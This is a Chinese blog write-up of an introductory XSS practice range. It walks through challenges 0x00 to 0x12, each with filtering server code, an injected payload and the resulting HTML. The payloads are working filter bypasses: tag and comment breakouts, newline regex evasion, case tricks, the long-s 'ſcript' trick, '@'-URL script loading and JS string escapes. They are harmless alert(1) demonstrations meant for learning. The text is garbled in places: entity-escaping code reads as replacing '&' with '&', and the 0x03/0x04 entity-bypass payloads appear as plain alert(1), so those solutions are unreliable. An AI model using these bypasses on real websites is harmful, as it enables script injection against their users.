前言
今天在闲逛时发现一个针对 XSS 入门的小靶场,想想自己这一年来一直都在学习开发方面的知识,对安全的东西有些生疏了,正好可以当作复习了
靶场一共有 18 个题目,每道题分为 Server Code(服务端代码)、Input Code(可输入点)、Html(显示点)。分析 Server Code 在 Input Code 处输入构造的 Payload,最后结果会显示在 Html 处。都是 XSS 最基础的知识点,非常适合入门学习,因此记录一下
靶场地址:https://xss.haozi.me
Tips:此靶场只适合了解 XSS,并不具备任何实战意义
0x00
最基础的弹窗代码
Server Code
function render(input) {
return "<div>" + input + "</div>";
}
Input Code
<script>alert(1)</script>
HTML
<div>
<script>
alert(1);
</script>
</div>
0x01
标签闭合
Server Code
function render(input) {
return "<textarea>" + input + "</textarea>";
}
Input Code
</textarea><script>alert(1)</script>
HTML
<textarea></textarea><script>alert(1)</script>
</textarea>
0x02
引号和标签闭合
Server Code
function render(input) {
return '<input type="name" value="' + input + '">';
}
Input Code
"><script>alert(1)</script>
HTML
<input type="name" value="" />
<script>
alert(1);
</script>
">
0x03
正则替换了小括号,用实体字符绕过或使用反引号绕过。
实体字符绕过是 HTML 的一个知识点:HTML 会将实体字符解析成对应的符号,因此在 HTML 的标签中可以通过实体字符来绕过 JS 中的过滤,但是 JS 代码中无法解析 HTML 编码,所以无法使用
反引号绕过是 JS 的一个知识点:JS 会将反引号中的内容作为可执行代码(很多脚本语言都有这个特性)
<script>
标签
Server Code
function render(input) {
const stripBracketsRe = /[()]/g;
input = input.replace(stripBracketsRe, "");
return input;
}
Input Code
<!-- HTML标签使用实体字符绕过 -->
<img src="" onerror="alert(1)" />
<!-- 使用反引号绕过 -->
<img src="" onerror="alert`1`" />
HTML
<img src="" onerror="alert(1)" /> <img src="" onerror="alert`1`" />
0x04
正则替换了小括号和反引号,使用 HTML 编码绕过
Server Code
function render(input) {
const stripBracketsRe = /[()`]/g;
input = input.replace(stripBracketsRe, "");
return input;
}
Input Code
<img src="" onerror="alert(1)" />
HTML
<img src="" onerror="alert(1)" />
0x05
使用--!>
闭合掉注释标签,换行只是个人习惯
Server Code
function render(input) {
input = input.replace(/-->/g, "😂");
return "<!-- " + input + " -->";
}
Input Code
--!> <img src="" onerror="alert(1)" />
HTML
<!-- --!>
<img src="" onerror=alert(1)>
-->
0x06
利用正则不匹配换行符的特性,使用换行绕过
Server Code
function render(input) {
input = input.replace(/auto|on.*=|>/gi, "_");
return `<input value=1 ${input} type="text">`;
}
Input Code
onclick =alert(1)
HTML
<input value="1" onclick="alert(1)" type="text" />
0x07
利用 HTML 标签不闭合也能解析的容错机制,闭合掉前面的标签
Server Code
function render(input) {
const stripTagsRe = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRe, "");
return `<article>${input}</article>`;
}
Input Code
< /article
<img src="" onerror=alert(1)
<!--
HTML
<article>< /article
<img src="" onerror=alert(1)
<!--</article>
0x08
利用 HTML 容错机制绕过正则替换
Server Code
function render(src) {
src = src.replace(/<\/style>/gi, "/* \u574F\u4EBA */");
return `
<style>
${src}
</style>
`;
}
Input Code
</style >
<img src="" onerror="alert(1)"
HTML
<style>
</style >
<img src="" onerror="alert(1)"
</style>
0x09
匹配指定的 URL 后闭合双引号和标签
Server Code
function render(input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/;
if (domainRe.test(input)) {
return `<script src="${input}"></script>`;
}
return "Invalid URL";
}
Input Code
https://www.segmentfault.com/"></script><img src="" onerror="alert(1)"><!--
HTML
<script src="https://www.segmentfault.com/"></script><img src="" onerror="alert(1)"><!-- "></script>
0x0A
此题是将可能的符号都做了转义为实体符号,并且需要匹配指定的 URL,题解给出的解法是访问此网站根目录下的j.js
文件,但实际使用时不生效,查看了一些其他人的博客也是同样不生效,不知道为什么
其利用的知识点其实是 URL 访问中如果存在@
符号,则会访问到最后面的那个 URL 地址
Server Code
function render(input) {
function escapeHtml(s) {
return s
.replace(/&/g, "&")
.replace(/'/g, "'")
.replace(/"/g, """)
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/\//g, "/");
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/;
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`;
}
return "Invalid URL";
}
Input Code
https://www.segmentfault.com@xss.haozi.me/j.js
HTML
<script src="https://www.segmentfault.com@xss.haozi.me/j.js"></script>
0x0B
知识点:HTML 对大小写不敏感,JS 对大小写敏感
所以将 JS 代码进行 HTML 编码,嵌入到 HTML 标签中就可以绕过大写转换函数
Server Code
function render(input) {
input = input.toUpperCase();
return `<h1>${input}</h1>`;
}
Input Code
</h1>
<img src="" onerror="alert(1)">
<H1>
HTML
<h1></h1>
<img src="" ONERROR="alert(1)" />
<h1></h1>
0x0C
和上一题一样,不过是替换了 script 关键字,使用 HTML 标签就行了
Server Code
function render(input) {
input = input.replace(/script/gi, "");
input = input.toUpperCase();
return "<h1>" + input + "</h1>";
}
Input Code
</h1>
<img src="" onerror="alert(1)">
<H1>
HTML
<h1></h1>
<img src="" ONERROR="alert(1)" />
<h1></h1>
0x0D
-
在 html 的 script 标签中
<!--
和-->
可以分开单独使用,都能作为单行注释。因为过滤了<
所以使用-->
作为单行注释 -
换行绕过单行注释
Server Code
function render(input) {
input = input.replace(/[</"']/g, "");
return `
<script>
// alert('${input}')
</script>
`;
}
Input Code
alert(1)
-->
HTML
<script>
// alert('
alert(1);
-->')
</script>
0x0E
古英文中ſ
等于现在的s
,绕过 script。JS 大小写敏感,HTML 大小写不敏感,所以通过引用外部链接的方式,引用其他 js 文件
Server Code
function render(input) {
input = input.replace(/<([a-zA-Z])/g, "<_$1");
input = input.toUpperCase();
return "<h1>" + input + "</h1>";
}
Input Code
<ſcript src="https://xss.haozi.me/j.js"></script>
HTML
<h1><script src="HTTPS://XSS.HAOZI.ME/J.JS"></script></h1>
0x0F
他这里对 html 标签的行内字符进行转义并没有任何作用,因为浏览器会先解析 html 再解析 js,所以它转义后的实体字符还是会先被解析。所以直接闭合就行了
Server Code
function render(input) {
function escapeHtml(s) {
return s
.replace(/&/g, "&")
.replace(/'/g, "'")
.replace(/"/g, """)
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/\//g, "/");
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`;
}
Input Code
');alert('1
HTML
<img src onerror="console.error('');alert('1')" />
0x10
JS 闭合和语句结束符
Server Code
function render(input) {
return `
<script>
window.data = ${input}
</script>
`;
}
Input Code
"";
alert(1);
HTML
<script>
window.data = "";
alert(1);
</script>
0x11
虽然做了转义,但转义后还是造成了双引号的闭合
Server Code
// from alf.nu
function render(s) {
function escapeJs(s) {
return (
String(s)
.replace(/\\/g, "\\\\")
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/`/g, "\\`")
.replace(/</g, "\\74")
.replace(/>/g, "\\76")
.replace(/\//g, "\\/")
.replace(/\n/g, "\\n")
.replace(/\r/g, "\\r")
.replace(/\t/g, "\\t")
.replace(/\f/g, "\\f")
.replace(/\v/g, "\\v")
// .replace(/\b/g, '\\b')
.replace(/\0/g, "\\0")
);
}
s = escapeJs(s);
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`;
}
Input Code
");alert("1
HTML
<script>
var url = 'javascript:console.log("");alert("1")';
var a = document.createElement("a");
a.href = url;
document.body.appendChild(a);
a.click();
</script>
0x12
将双引号转义后又使用单引号包裹,因此再加一个转义符,将双引号转义后的转义符进行转义,就实现了双引号的闭合。最后面的就直接注释掉了
Server Code
// from alf.nu
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}
Input Code
\");alert(1) //
HTML
<script>
console.log("\\");
alert(1); //");
</script>